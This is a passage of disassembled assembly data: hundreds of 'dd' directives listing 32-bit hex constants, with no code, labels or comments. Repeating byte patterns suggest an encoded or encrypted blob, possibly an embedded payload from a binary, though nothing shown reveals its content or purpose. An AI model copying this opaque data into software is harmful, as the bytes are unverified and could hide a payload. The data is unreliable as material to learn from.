		dd 3D8294FBh, 0BFCFAA82h, 5657B134h, 0D154EC89h, 2B566C85h
		dd 0D3E5B0CEh, 5675B336h, 56BAA3DBh, 37568832h,	0ED2AF5DAh
		dd 1B560C14h, 435EFEA5h, 0DDC8012Fh, 0BFF03088h, 56735835h
		dd 1FF2B132h, 3A1289D4h, 56BC5862h, 8E44B132h, 0F34A6D02h
		dd 0FB9A6EDBh, 0F825DD98h, 0C48B0B9Eh, 0EE9833B9h, 6FA4B6DDh
		dd 0D1A1810Eh, 5657B135h, 56AA3E3Dh, 0E20B132h,	574C333Dh
		dd 599CB132h, 2BAB132h,	0DC3419E6h, 361AA06Eh, 9FAE00FFh
		dd 0EC20FD44h, 513CA34Bh, 0D1E5E1CBh, 5675B13Fh, 5635BE52h
		dd 0EC5DB132h, 61634F74h, 74D53A53h, 0BFAC5E8Ah, 56D5B13Ch
		dd 47CF526Bh, 0F5FD9271h, 12F86C5Fh, 6A64FDA4h,	0D8A14902h
		dd 5657B138h, 0D7503A52h, 1DC938F2h, 59B2D001h,	5674F2BDh
		dd 5E33BE32h, 595DB132h, 56AEB3B1h, 0BF36D132h,	56ABB104h
		dd 0AE9076CEh, 56EAB130h, 55FABE52h, 59BAB132h,	0BF3C438Dh
		dd 56AEB12Ch, 5657B6DBh, 9C98EA32h, 5FF75DD7h, 5712F4F5h
		dd 0AA75B132h, 59753A52h, 565DB1B7h, 0EC25D032h, 51B8048Ch
		dd 56AA323Dh, 0DD2DB132h, 56E7582Dh, 3E1B132h, 83D669BDh
		dd 94459E4Ah, 5DFF8B8Dh, 87D3BEE9h, 36ABB132h, 436377B9h
		dd 59348A53h, 5675C9B7h, 5738BE32h, 0AF5DB132h,	0AFA2ECB9h
		dd 56AFCCB1h, 5684353Dh, 453CB132h, 0A0EAB132h,	0CBFA711Bh
		dd 1EC57E71h, 0EE8E7EF5h, 0A894BBD6h, 0DD37A820h, 0BA8D0FAh
		dd 5C57BECAh, 36EAB132h, 7DAA5EB3h, 8031A7FEh, 52023853h
		dd 56AEBCDBh, 8B770432h, 0FD0CAEA5h, 1B4454F3h,	0D8E5C915h
		dd 5675B12Bh, 56BAA5DBh, 7A451832h, 0A073489Fh,	0ED2FB0FCh
		dd 0DFB06638h, 6E6F8FAAh, 422D3281h, 5660373Dh,	4653B132h
		dd 385DB132h, 0BEC8768Bh, 0F68F92E1h, 0EA63949Ah, 0BFFDF9F8h
		dd 0A9154E09h, 5675B6DBh, 0D2722C32h, 0AB6E55CDh, 53477101h
		dd 0AF57B132h, 0CC22958h, 56D156DBh, 0D78CD132h, 1C406C2h
		dd 37E3EB63h, 0AA433A54h, 0AFA2CCB9h, 59BC4AB2h, 56ABE8B6h
		dd 56D25832h, 0FC4BB132h, 829DA03Ah, 0A659316Eh, 26A631CAh
		dd 5624353Dh, 5FBEB132h, 3AABB132h, 0A72B3A53h,	0FAFF0B1Fh
		dd 5674EADBh, 5539BE32h, 365DB132h, 0D2A1D0C7h,	5657B12Ch
		dd 56B33E3Dh, 453CB132h, 0A0EAB132h, 0CB377DEBh, 743743AAh
		dd 0CACC6392h, 0B46D1DBh, 51914B2Ch, 56A358DBh,	0FE4DB132h
		dd 419D58FFh, 11B2C53Ah, 56BAB133h, 91D64432h, 56AEB7DBh
		dd 8B8CB432h, 0D56FFFA2h, 0D8DAB4F2h, 56EAB133h, 524B58C7h
		dd 5C53B132h, 0E55DB132h, 7E2A5230h, 0BA2EDC15h, 572ABE64h
		dd 0AFD5B132h, 59ED7654h, 567C583Ah, 6CB6B132h,	0A4F653D2h
		dd 0DC255CBCh, 0B5D7492Ch, 56A3583Dh, 579AB132h, 7FE8C0DDh
		dd 0DC7AC5A6h, 56BAB138h, 56DCBE52h, 36AEB132h,	9DD7D053h
		dd 59F8D1B2h, 0BE8D628Dh, 56EAB13Bh, 54E7D96Ah,	0AD5F827Eh
		dd 0D3CD1BCh, 57F13953h, 564B383Dh, 0D8A4B132h,	56D5B124h
		dd 56EAA0DBh, 50F99F32h, 6863598Eh, 0F1A55A3Bh,	0FEDFC4D8h
		dd 91AEC8EEh, 56ABB375h, 0BFB5B132h, 56EAB13Ah,	4565F07Dh
		dd 9432DD8Fh, 565DBEDAh, 0E5DD5A32h, 0F3CC2422h, 11917C39h
		dd 3C0C1D11h, 770A3054h, 0DD14E946h, 56B558F5h,	0B3D3B132h
		dd 75370F1Ah, 252CC7ACh, 91147471h, 501532EEh, 56F2373Dh
		dd 459CB132h, 1CBAB132h, 63D739F6h, 5CEE519Ah, 5926E31Ch
		dd 3AA550A5h, 133CEA81h, 0AAEAB131h, 0C64B3054h, 0C73EBEA2h
		dd 0BF5DB132h, 56AEB123h, 0D955D68Ah, 50573AFDh, 7382E39Eh
		dd 0A099712Fh, 45F0BEA6h, 36BAB132h, 565DBDDBh,	0F2537132h
		dd 401AF794h, 26A7DBE7h
		dd 6855D0D9h, 346FBEA2h, 3675B132h, 0C4135AB3h,	47B5BA51h
		dd 44AEB132h, 0EAECFB8Dh, 209E717Dh, 6282512h, 4F877674h
		dd 5675B9DBh, 7C7AAF32h, 99B4C460h, 30CFEEF7h, 0C6A8CFB3h
		dd 772FBEA2h, 36D5B132h, 0BC550954h, 566A5853h,	4753B132h
		dd 0F75DB132h, 0D3345F2Eh, 803593F5h, 0D83202B8h, 0B145BD38h
		dd 0BF1F76B9h, 5675B392h, 86383CCAh, 365A5E8Ah,	30773A54h
		dd 37E18989h, 701DD152h, 56D5323Dh, 0EC8BB132h,	1C3B2F24h
		dd 0DDDAE153h, 0E3E5D7C8h, 0BFF8D0DEh, 5657B123h, 817AE57Fh
		dd 5474DBDAh, 0D1CBBA4Bh, 2D66974Bh, 5135BE0Ch,	595DB132h
		dd 56AEB0B5h, 0C4A84832h, 514407B4h, 5915BACEh,	56EAD5B6h
		dd 40F0BE32h, 0BFBAB132h, 565DB123h, 34A963B4h,	0E05D097Bh
		dd 76A17B84h, 0F7F106EAh, 36223AC6h, 56F6BE52h,	0D7BAB132h
		dd 9E7846F0h, 5D46D056h, 8E57B132h, 0ED357F6Fh,	0E16AC492h
		dd 0E1E563B7h, 0DB14E9F8h, 0B9026180h, 564C5835h, 0FC1FB132h
		dd 26B82B4Ah, 7ADA8086h, 0A643B1E6h, 0BF751415h, 5675B194h
		dd 0D9B5E7CAh, 565DB13Ch, 56AEB8DBh, 4A2D2A32h,	0C3AF96Bh
		dd 985E3874h, 56FB343Dh, 5A9CB132h, 1ABAB132h, 5B177004h
		dd 11339A0Bh, 38E252Eh,	56AA343Dh, 0AF29B132h, 0E08523CDh
		dd 0D17AB6DDh, 56BAB133h, 565158CAh, 381AB132h,	0F35C6CDEh
		dd 8456FFC9h, 0BF88D0DEh, 56EAB13Bh, 802B396Ah,	0C1F042ACh
		dd 36939A80h, 727867B3h, 0D4589D2Eh, 56ABB134h,	637757B3h
		dd 0A18BC1CFh, 0BF2B4DEBh, 56BAB13Dh, 0D61523CCh, 50F2E0FFh
		dd 97707D3Eh, 591EEC7Bh, 56D5BCBFh, 56E25832h, 0D6B2B132h
		dd 2FF74A20h, 2BDE983Eh, 0D3A1B0CAh, 5657B145h,	56ABBFDBh
		dd 3116FF32h, 6B1D39D5h, 74069D64h, 0E63E2D24h,	59F74D7Bh
		dd 56AEBDBFh, 50DEBE32h, 59ABB132h, 56D5B1B6h, 5952D732h
		dd 567058B7h, 2704B132h, 30538711h, 5D22BE99h, 0BF57B132h
		dd 56ABB134h, 27C86D5Eh, 0D1E536F2h, 5675B133h,	100CBEC7h
		dd 56585833h, 0EB24B132h, 0FD4F192Fh, 59783A52h, 56D5B7B6h
		dd 5664BE32h, 3775B132h, 562758CEh, 0D5A8B132h,	59AC494Fh
		dd 56573FB7h, 56AC5832h, 6664B132h, 6FBC41CDh, 5DCDD75Ch
		dd 0FDDC44FBh, 564F3A3Dh, 5B47B132h, 9157B132h,	44D016DDh
		dd 78856426h, 1F8AA1CAh, 0D27A0954h, 56BABBDBh,	0E1229532h
		dd 2FE8AF7h, 30E9E8B8h,	5A29BE99h, 59D5B132h, 56EAB7BBh
		dd 56FEBE32h, 59BAB132h, 595CF784h, 56AEB7B9h, 86DCD132h
		dd 0FDCAEA63h, 575CBE52h, 0AFEAB132h, 5675B9DAh, 5CD59A32h
		dd 0D2B70561h, 545B3123h, 46BED068h, 0AAABB132h, 56D5B7DBh
		dd 7AB59F32h, 0A51469F8h, 0DD424496h, 565258F5h, 0BC1BB132h
		dd 0B1AC2D89h, 0B708ED6Eh, 0BAD2DD10h, 5769BE76h, 0A375B132h
		dd 5035BE69h, 365DB132h, 0E0EE0E54h, 5DBEE853h,	1DABB132h
		dd 0BB3150BFh, 15F4358Bh, 0D87AB174h, 56BAB133h, 0DC52EFC7h
		dd 56AEB120h, 565B373Dh, 5142B132h, 0D9D5B132h,	0BED6766Dh
		dd 362A7D6Bh, 596C063Dh, 565DA8B8h, 56BA5832h, 3EF3B132h
		dd 0ABC03B0Ch, 2360365Fh, 0DC947180h, 6B252B99h, 9FDB707Bh
		dd 56495952h, 304FB132h, 6D9BF1A0h, 0E02E52CBh,	0DA743D2Dh
		dd 0F00975B1h, 0DC7ADF29h, 56BAB132h, 5E9FD069h, 4223BE32h
		dd 0BF57B132h, 56ABB13Dh, 0E1FB98DEh, 0D197CE18h, 9E858037h
		dd 3EE4DB3h, 36B13ACAh,	56A8343Dh, 0D358B132h, 56ABB132h
		dd 56D5B8DBh, 35D11F32h, 0BA2BAFABh, 36DB20DFh,	565D59CBh
		dd 0D7F4B132h, 0B9BE91D8h, 5B23BE35h, 36D5B132h, 7C245BB3h
		dd 0D713AFBDh, 37EB1AC4h, 56523B3Dh, 5C47B132h,	4557B132h
		dd 0AEC955A2h, 0FD832366h, 5EAF3A94h, 597A0752h, 56BAB3B0h
		dd 373CD132h, 6E2C38C7h, 36505E84h, 5740A54h, 0BFB4D0CBh
		dd 56EAB135h, 62819DA3h, 9FA05B38h, 564C303Dh, 5A47B132h
		dd 8B57B132h, 0DD3B7136h, 1A06526Dh, 36189E20h,	30BD3A54h
		dd 94DB60B9h, 0D052B136h, 56AEB133h, 0DDABE4CBh, 56AC58DEh
		dd 0D0A2B132h, 77A23859h, 0AEB13214h, 0BE46D1CEh, 565DB132h
		dd 0E8443068h, 0BF505EDBh, 56ABB123h, 3CCFBBF6h, 0A2A15E09h
		dd 0BC8CF137h, 1258CAE5h, 4ED3BE04h, 0BFAEB132h, 5657B121h
		dd 2F6C2345h, 0C4FC99D4h, 5ABC6C2Bh, 84194E0Eh,	912499F7h
		dd 565D4977h, 5F47B132h, 7957B132h, 79660F46h, 0B64EBB15h
		dd 5616F4F5h, 0BF75B132h, 56BAB139h, 921B0E8Ch,	365F8AB6h
		dd 659D4852h, 0AECB48F2h, 56D5A0DBh, 22E44832h,	0EEBA17FDh
		dd 0B56B7992h, 4380CF2Fh, 30CF9807h, 91AEAFB9h,	0B91393B0h
		dd 56D5B035h, 576ABE32h, 0A375B132h, 0C6413054h, 57D8BEA2h
		dd 0AEAEB132h, 59BF4AB2h, 56AE81B6h, 0EE6FD132h, 0DDBAA3FCh
		dd 3635D0FDh, 0FBB73B3h, 0D2529FBBh, 56AEB137h,	0F7803054h
		dd 0AD2BD08Fh, 5C51BEDBh, 0A3EAB137h, 0DA7AD172h, 56BAB131h
		dd 59853A54h, 56AEB4B2h, 91D6D732h, 0D6CABBA5h,	0D2DA5AC9h
		dd 56EAB5DBh, 56665852h, 0EA3CB132h, 4DDDB75Ah,	432DDA82h
		dd 0D2E11949h, 0CE33A2EFh, 5995D0D5h, 56EAA6BFh, 56675832h
		dd 8791B132h, 3BDAE44Eh, 5042B8EBh, 6A23942Eh, 34300D35h
		dd 56D5BDDBh, 779FAB32h, 2CC64C7Bh, 79B789F6h, 0A6BA31D5h
		dd 56B6353Dh, 45BEB132h, 88ABB132h, 2147B670h, 8EB86E24h
		dd 22642D6Bh, 88EDC4FAh, 0D73B170Bh, 592EBEC9h,	5653C5B6h
		dd 4525BE32h, 0BFD5B132h, 56EAB13Ch, 775A66CCh,	84DA0271h
		dd 0F8C9CA63h, 0D4ADEF99h, 51BEABD3h, 56ABB7DBh, 99098732h
		dd 16BEFBACh, 5674393Dh, 0BF43B132h, 565DB13Eh,	91040764h
		dd 0C05F0B3h, 831D3A8Bh, 59374AB2h, 56EEBEB6h, 0ADF54932h
		dd 8A3EBED1h, 0BF5DB131h, 56AEB134h, 9595851Eh,	0D7CD8DC9h
		dd 5936D6C9h, 56E95EB6h, 56725832h, 0C69AB132h,	183E0B19h
		dd 56BE58A7h, 2E5FB132h, 0A2BE035Ah, 0D4A725CDh, 0BB28B708h
		dd 0B5F56F25h, 5239BEC2h, 365DB132h, 0D6CFEB60h, 0D258C1C9h
		dd 56ABB2E3h, 0DCDAD152h, 56EAB132h, 5675A0DAh,	7CB6D532h
		dd 8DC12AD4h, 4B83A358h, 0B716A6Ah, 37F1EF0Eh, 56D4323Dh
		dd 3716B132h, 0AF6B3A54h, 0BF4252B2h, 565DB13Dh, 0CE4986DAh
		dd 0C9B4FA0Eh, 0A951D612h, 0D6795568h, 0D2E509C9h, 5675B06Fh
		dd 56BAA0DBh, 7871F232h, 0A0F4DAEh, 6CB0C844h, 11FE0D1Bh
		dd 68555336h, 686EBE37h, 5975B133h, 56BABBB2h, 0D552D132h
		dd 56AEB132h, 0D63669B8h, 0D2A49C0Ch, 56D5B017h, 56EAA5DBh
		dd 4FB6D932h, 398CB3FEh, 0B2AAD81Dh, 0F670DD99h, 83B0DB4Ch
		dd 3E953133h, 57D6353Dh, 5303B132h, 6775B132h, 77A570D7h
		dd 303DD172h, 59BC0D8Dh, 5657B1B6h, 0BFCAD032h,	56D5B13Fh
		dd 4CB8D7Ch, 3B77FC48h,	8702A754h, 74DF4E01h, 0BFA95E8Ah
		dd 5657B138h, 42463089h, 3F5E3B6Ch, 0DD8CC3C9h,	0B8F5D12Ch
		dd 8031D710h, 0AEBA3153h, 7B4C3052h, 374EBD6Bh,	0AD2AD7CBh
		dd 0D2DA59B3h, 56EAB193h, 567D3F3Dh, 0D9B5B132h, 565DB130h
		dd 0DDC8D052h, 0B1D7482Ch, 59CB49C2h, 0D7B3478Dh, 371319D1h
		dd 0D78E3054h, 203EBEF2h, 0AA5DB132h, 0BFFB4852h, 5657B134h
		dd 6399E779h, 0C42AA6D2h, 5105075Dh, 5674343Dh,	0B4FB132h
		dd 565DA5DBh, 77677B32h, 0F273B67h, 7A229676h, 0AF9676FEh
		dd 5AF238A9h, 0AA30388Ch, 56BAB6DBh, 0CD6F4532h, 0BDAF827Ah
		dd 565F383Dh, 0D4A4B132h
		dd 56D5B130h, 598BD052h, 5675A0B9h, 56B65832h, 4500B132h
		dd 0FFC5D72Ah, 0BAEB5B0Eh, 2B28A599h, 0D3DAB0CEh, 56EAB622h
		dd 0D7CF3ACBh, 59BD5828h, 565DB0BBh, 0BFFE4D32h, 5657B122h
		dd 69855085h, 8D67CF0Ah, 0B97156E2h, 6B3B8A19h,	0EE9833B9h
		dd 36A1B6DDh, 0D6653A54h, 6F3667C3h, 0BECB810Eh, 56D5B123h
		dd 0EE37CFAh, 96716C15h, 0B5E53AA2h, 794FFDE1h,	882FD7C0h
		dd 0D7087A6Eh, 0BF2BE8F2h, 5B5D007h, 425C68Dh, 9EFEEA06h
		dd 0D4B5E953h, 565DB796h, 56AEBFDBh, 1989C432h,	0BF87E500h
		dd 1FA9F4E2h, 365E4970h, 3234218Bh, 573DBE0Fh, 0AE5DB132h
		dd 2F143A53h, 0BF505820h, 56ABB139h, 87D4E865h,	5DD088C8h
		dd 59C03E5Ah, 56BAA2B0h, 5BD0BE32h, 0BFAEB132h,	5657B13Ah
		dd 110A583Dh, 604F4822h, 56F85862h, 0B709B132h,	0A54F14F7h
		dd 523ABBD9h, 3426BDB0h, 7BA8B246h, 0EE8933B9h,	6F2CB6DDh
		dd 4603810Eh, 0F175B132h, 4FDDA445h, 0C1ED266Ah, 0E97D15EAh
		dd 0BF32C2F7h, 56ABB13Eh, 1ED2298Ah, 75F7A4Dh, 0D5A25326h
		dd 5335BE6Ah, 365DB134h, 0C64E3054h, 0A7D6D714h, 0DDCAAF17h
		dd 0B9605088h, 0D6E5D135h, 5675B12Bh, 56BAA2DAh, 6C3C9C32h
		dd 44EA7F51h, 0A7C58005h, 884D760Bh, 4D1B81C8h,	2A50D169h
		dd 591D4034h, 37DB6985h, 87D6D752h, 0D5CFFB85h,	0B9E250B0h
		dd 0DF57A535h, 36B5D105h, 566CBE53h, 3775B132h,	0A831D763h
		dd 11D4D06Ah, 0A3FE4D22h, 0EE7533B9h, 0DAA4B6DDh, 56D5B12Fh
		dd 56FD363Dh, 449CB132h, 7BAB132h, 696AD5Eh, 0C2F8A436h
		dd 4CF72BA9h, 1B64D03Ah, 66C93A37h, 576CBE52h, 0AA75B132h
		dd 37E154B2h, 593D4D6Ah, 56AEA2B0h, 565A5932h, 71F1B132h
		dd 0BF2B82FDh, 0F3DCE970h, 0C48B50Ah, 3774063Dh, 0AE55EEBBh
		dd 56AB8EDBh, 56465832h, 625EB132h, 0D76A9E67h,	3DD8153Bh
		dd 1E12FFB7h, 9139376Dh, 565F4977h, 0D2A1B132h,	5657B135h
		dd 56AA3D3Dh, 0BF29B132h, 56EAB11Bh, 5675BADBh,	83F2CC32h
		dd 452EFA9Eh, 2F1E48E4h, 57AFF4F5h, 0BFABB132h,	56D5B13Fh
		dd 768A0070h, 4BEDCF6Ch, 4D2337A7h, 0B7E73A09h,	0AAA95E87h
		dd 0E3B633B1h, 0BFBFB6DDh, 56D5B138h, 3F011904h, 5A929A29h
		dd 61330DCDh, 564C5952h, 30D3B132h, 11440314h, 47FDE9D0h
		dd 9BE76F9Ch, 301B67C9h, 302C76B9h, 95DF7EB3h, 461A3853h
		dd 56AEBADBh, 0CBAF2032h, 5A781234h, 92E27E59h,	59E949B1h
		dd 567582B7h, 56BD5832h, 0BC1EB132h, 578106ABh,	0D49049FDh
		dd 51440910h, 56D5B130h, 56EAB6DBh, 0AFB80932h,	598BFB8Fh
		dd 565D93DBh, 4CED132h,	0DDECD769h, 375ED011h, 59D749B1h
		dd 56E877BFh, 567C5832h, 0D47EB132h, 0F1E6027Eh, 0D5C9A445h
		dd 5957494Fh, 56AB0CB6h, 0E0DA4832h, 5E03B074h,	8275B132h
		dd 0F5238F5Bh, 0FF40F37Eh, 56AEB1B2h, 563B343Dh, 0D1A4B132h
		dd 56D5B112h, 56F95952h, 0FBDBB132h, 77B9A7E1h,	0EE31BCFDh
		dd 0B9C6DA65h, 556D30ECh, 9F14E8D7h, 37D41E5Fh,	59B8D172h
		dd 5675B1B3h, 0E1B5EA32h, 0BEDED0E1h, 5125BE37h, 5957B132h
		dd 56ABB0B7h, 173C4432h, 59EAB132h, 5675ACB3h, 0A631D132h
		dd 565DA5DBh, 0FFD92A32h, 943BBEF2h, 0C41DBFF9h, 0E829D2C2h
		dd 0FAE88337h, 0A958D07Ch, 59BAB132h, 565DB9BBh, 8524D132h
		dd 23E40B54h, 53433253h, 9C62BE52h, 372B3A54h, 5675DEDBh
		dd 5D534832h, 0BF5DB132h, 0A6FB56D8h, 5D6E1C5Eh, 59F85953h
		dd 56D5BBB6h, 0DFE5D132h, 5675B132h, 0DDDB7EB9h, 0B9E593A8h
		dd 5328BE35h, 3657B132h, 375EEB62h, 36E6B5B9h, 56EAB8DBh
		dd 27F00532h, 0A5D24E6Ah, 0E95281DEh, 0D7A1D0E8h, 5657B135h
		dd 56AA323Dh, 0D20B132h, 56F8343Dh, 0BF15B132h,	56BAB138h
		dd 5549F1B8h, 4DA59A6Dh, 37AEAE6Fh, 56ABB19Bh, 9950BEB2h
		dd 36EAB132h, 5675B4DAh, 65B85232h, 9A1B471h, 56A05852h
		dd 260CB132h, 0C9D0A332h, 0CFE4FD3Ah, 0BE9D155Eh, 3714D052h
		dd 36DA7731h, 565DBEDBh, 9EAA1432h, 0A6953D7h, 0B486D8B7h
		dd 0E9D70644h, 308B76B8h, 0D51462B9h, 5542B4F2h, 0B9E593B0h
		dd 4D2DBE35h, 3657B132h, 56ABA3DAh, 774D0332h, 52358964h
		dd 0B050D788h, 435B9D3Eh, 8AE5813h, 0AFE6D0CEh,	0CC520952h
		dd 0DEA4AC9Ah, 56D5B130h, 0DF8BD052h, 5E9CB975h, 62BAB132h
		dd 0C5714789h, 0DFA7135Dh, 58BEBD75h, 37ABB132h, 897D0BFCh
		dd 0DAF708C6h, 2B0379EDh, 3353440Ah, 365DB130h,	5965063Dh
		dd 5657B3B8h, 37260532h, 56C5343Dh, 5D03B132h, 6A75B132h
		dd 42DDABEBh, 387E189Ah, 8E59AF93h, 5657B6DBh, 7117E232h
		dd 953E7B43h, 44037719h, 8B75B132h, 8ADAEC30h, 0F277CB83h
		dd 32A20F97h, 0A6ED778Eh, 56B958E9h, 0E39DB132h, 0D6638202h
		dd 7DFEED76h, 895137C5h, 0CBF579E3h, 0D7CE69C5h, 7194C1D1h
		dd 56A35832h, 0D335B132h, 515A96E7h, 0D51459A2h, 5353B4F2h
		dd 0CE5DB132h, 24B9205Dh, 0EE753331h, 1E5EB6DDh, 56D43B3Dh
		dd 0DF12B132h, 0DA7AB975h, 56BAB122h, 565DBADBh, 5F4ED632h
		dd 7A2C2E7h, 96D4A6E6h,	36D9F6BBh, 9B210A54h, 371E7EB2h
		dd 56BB16DBh, 593DD132h, 56AEB1BCh, 0BF364D32h,	56ABB13Ch
		dd 0A3EDED91h, 0ECA7933Ah, 73C76907h, 65DBB878h, 0D552D1F2h
		dd 56AEB131h, 0AAFF58B2h, 57ED3B53h, 0BE3A0152h, 56EAB120h
		dd 69536C1Bh, 0A8C00D2h, 0D2EF402Fh, 40723E2Bh,	0EE31E194h
		dd 37F0A7ABh, 0D3DA319Ah, 56EAB1FAh, 5675A3DBh,	19E94232h
		dd 0D0E85F63h, 15C6DE8Bh, 2ADA4D1Ah, 5564D2C3h,	0DDB3D1F4h
		dd 4169BEC2h, 0BE75B132h, 56BAB123h, 88CCC4Bh, 3F6460Fh
		dd 6491B5D9h, 63623777h, 0D5B4EF87h, 0D0E5B3F2h, 5675B13Eh
		dd 56BC373Dh, 0DE52B132h, 56AEB132h, 5657B089h,	8DA04832h
		dd 56E7353Dh, 598AB132h, 0DC147185h, 0B8636AA8h, 57DDBE35h
		dd 0A3AEB132h, 365652B2h, 56ABB8DAh, 34399432h,	11BC7702h
		dd 0E6C18BBDh, 0E90CD169h, 0E14E69B3h, 37CFDB2Ch, 5ABE7231h
		dd 0B5ABB132h, 529AF1B9h, 58436C98h, 0DF180896h, 0E9DAB975h
		dd 78C9A166h, 37663A54h, 5A1038C7h, 911CBE52h, 372B3A54h
		dd 56EA3EDBh, 57FCBE32h, 0A3BAB132h, 0BF3D69C5h, 56AEB120h
		dd 9440506Ch, 0FB5E66A6h, 9020871Ah, 1D57B133h,	3789FC90h
		dd 56BA4E17h, 56515832h, 0A5FAB132h, 0C34FC9AAh, 293DB861h
		dd 443CAB3Bh, 67EAB132h, 224BFB1Ah, 2CD79F0Dh, 15BCE3CCh
		dd 0F8DBE8C1h, 0BF919A88h, 56ABB122h, 46CDBC71h, 0FA25EB72h
		dd 15F52FD7h, 0E879E672h, 0E83D69C5h, 652FF816h, 58A73054h
		dd 9628D003h, 56DF5830h, 8FAAB132h, 65E9C214h, 1DFF9887h
		dd 0AF55F6BBh, 0AFA2F6BBh, 46DDBECAh, 59ABB132h, 56D5BBB6h
		dd 56EF5832h, 9DB9B132h, 378A9492h, 5DB478CEh, 97AEB132h
		dd 725D2768h, 493391F8h, 3616DE4Ch, 56EAB4DBh, 4B73AE32h
		dd 30EAEA51h, 2AC060B3h, 5147D06Bh, 0BA57B132h,	49879313h
		dd 0BF8071D0h, 56EAB137h, 0A3943DEDh, 0A43BD125h, 432B5F03h
		dd 4E390954h, 0BFBB3A53h, 56ABB13Ch, 0B566253Ch, 70CD1F5h
		dd 15738C95h, 9239581Ch, 0BF3D4DCEh, 56AEB138h,	0CB27BF8Fh
		dd 0E28DA13Ch, 30B591EDh, 797A6AB3h, 5675BEDBh,	8D13C132h
		dd 16AB8613h, 2694CDF2h, 0DF4B3B1Bh, 56AB5953h,	0D78FB132h
		dd 0B91F9DD8h, 0D17AD135h, 56BAB130h, 363C61B9h, 56AB5862h
		dd 4CAEB132h, 0E344B35h
		dd 0E86F3A53h, 59ED5E87h, 5675B8B0h, 0D74FD132h, 8F91D8F9h
		dd 6552D039h, 0D858D1FBh, 56ABB130h, 0E9DA57B8h, 6969D0C1h
		dd 2FF1BE32h, 0AABAB137h, 0BE3DB6B9h, 56AEB135h, 8EEFA615h
		dd 0BFED0F2Dh, 56D5B13Dh, 0DB4B1EB2h, 0B935DA7Dh, 0F2BDC574h
		dd 0C38B592h, 3773054h,	23A8D0F5h, 442CBE3Eh, 0BFD5B132h
		dd 56EAB13Fh, 8BAB62A7h, 0DBC8D007h, 0F746DE90h, 5EDB4EF3h
		dd 5656343Dh, 65EB132h,	6D053052h, 599FEE84h, 0BE144085h
		dd 56BABB76h, 300E4452h, 910B68Bh, 5997BA53h, 56ABF7B7h
		dd 56C75832h, 0B7AAB132h, 4767D753h, 266620A0h,	0EEF807A9h
		dd 796B02C4h, 5937B6B9h, 37537E8Dh, 5263052h, 0DD8F3972h
		dd 7F9CD0E5h, 0BFBAB132h, 565DB121h, 0A7A745DDh, 0D285F4F4h
		dd 0BFB36D0Bh, 8AF005A6h, 0D5BC4976h, 0BF8CA5F5h, 0A9454E04h
		dd 0E7B53052h, 378E0B30h, 59ABF4BBh, 56ABB0B0h,	0EEB54932h
		dd 6770E7B5h, 5A004E53h, 5ECF4ECAh, 565DA2DBh, 86CA0132h
		dd 0A8C9AAC4h, 0FB51DC9Ch, 0CF68DFD5h, 1B885292h, 0BF1586CDh
		dd 56BAB137h, 9DAB5Ah, 56A958FBh, 0F50CB132h, 9C0F90A4h
		dd 0DB3DD092h, 36EAB13Bh, 5675BDDBh, 0E9EFF532h, 0C07D9965h
		dd 0C074D9E2h, 37803AB8h, 0D2A47139h, 56D5B123h, 52D458CEh
		dd 0D615B132h, 873B5DF4h, 33C153E6h, 0AAEB3A53h, 5659313Dh
		dd 5F42B132h, 5CD5B132h, 0D2743068h, 0E5E230B7h, 0D4B5B60Bh
		dd 565DB526h, 56A93F3Dh, 0D658B132h, 56ABB133h,	0AA904ECEh
		dd 905DBE52h, 0D51476B9h, 59BAB54Dh, 565DD6B6h,	0DCA1D132h
		dd 5657B134h, 56AB353Dh, 5F3DB132h, 0AEEAB132h,	69A977B4h
		dd 4B558C34h, 565DA1DAh, 0E429E532h, 67DDFF8h, 0EDDCDCDFh
		dd 0DF4BDD59h, 37B4EA77h, 5679CEB1h, 5690353Dh,	0BFA5B132h
		dd 56AEB192h, 56435952h, 8727B132h, 6EED186Dh, 52EFF193h
		dd 1E37489Ah, 0FF789BE2h, 95DCA957h, 4F3BBDE9h,	379F3A6Ch
		dd 0A9544E8Ah, 0D7DAD1CDh, 56EAB132h, 0EF1479B9h, 56BAB137h
		dd 565C3D3Dh, 5952B132h, 5657AFBEh, 4E21BE32h, 0BFD5B132h
		dd 56EAB121h, 0BF525541h, 9BD047Bh, 81259C7Dh, 7F6F36CBh
		dd 0A577C85Bh, 0DDCDD199h, 56C459F8h, 7D37B132h, 0B13C6AA3h
		dd 0C4DAC278h, 483FFF8h, 0BE0597B3h, 5657B135h,	0BE7E5A0h
		dd 0E9358E8h, 2803D06Ah, 0BF8A4ECCh, 56BAB13Ah,	0DA9669B6h
		dd 0C067689Fh, 5347CEB1h, 56EC353Dh, 0D529B132h, 59ECA14Dh
		dd 5675CEB7h, 36FB4D32h, 2674C78Bh, 0E115D73Eh,	11DCD06Dh
		dd 5F43D136h, 0F1D5B132h, 626F7884h, 6DEFED17h,	0DCE2E962h
		dd 9D6D0E3h, 147443Eh, 5957B130h, 56ABB9B2h, 6367D132h
		dd 916B0E54h, 52323A53h, 56BAB8DBh, 7B36EB32h, 6959CB2Eh
		dd 0E93744F9h, 3666B968h, 835569B3h, 0DD8B8E22h, 469CBD6Dh
		dd 83BAB132h, 2ED40ABFh, 0C9D1CDC1h, 0AAC5BB1Eh, 0BF8049EDh
		dd 56D5B339h, 8855BE52h, 37AD3A54h, 0A3BEF6B9h,	56553F3Dh
		dd 0D4A1B132h, 5657B130h, 920D052h, 5E56BE3Eh, 59EAB132h
		dd 5675B3B0h, 6DDBD132h, 0D352B96Dh, 56AEB03Dh,	0C7EED752h
		dd 4CA4438h, 56D5B8DBh,	0B40F7932h, 3FF0ED0Ch, 131531Fh
		dd 0DC52D136h, 56AEB139h, 5657B7DBh, 3CF19C32h,	0DDFE14C9h
		dd 3C1D0ECh, 56735822h,	1A48B132h, 0C7C3B5B1h, 59BAE431h
		dd 5657BDB0h, 56AC5832h, 1D18B132h, 5C22C2A0h, 5A2A3A14h
		dd 56BB3D3Dh, 7DA8B132h, 422BBEE8h, 0BF57B132h,	56ABB13Dh
		dd 2B45D3BEh, 0CEEC8110h, 0B510B327h, 593375E3h, 565DAFBAh
		dd 4E2FBE32h, 0BF57B132h, 56ABB121h, 7A94E29Fh,	9A25CBF6h
		dd 0B427482Ah, 0F8D7BC7h, 0D56EF413h, 4247B4D9h, 0C457B132h
		dd 743A516Dh, 4A3F2D4Eh, 845151DBh, 0C74243D8h,	0C27FE7Dh
		dd 9FDCD752h, 4246E474h, 0A857B132h, 5620DAFh, 8BF1824Fh
		dd 6EF9CC41h, 4A23DCC0h, 30B9FEA7h, 37024AB9h, 56AEBEDBh
		dd 0BAE3CC32h, 39C20631h, 7B732C6Ah, 0DA6D4F9Bh, 567503DBh
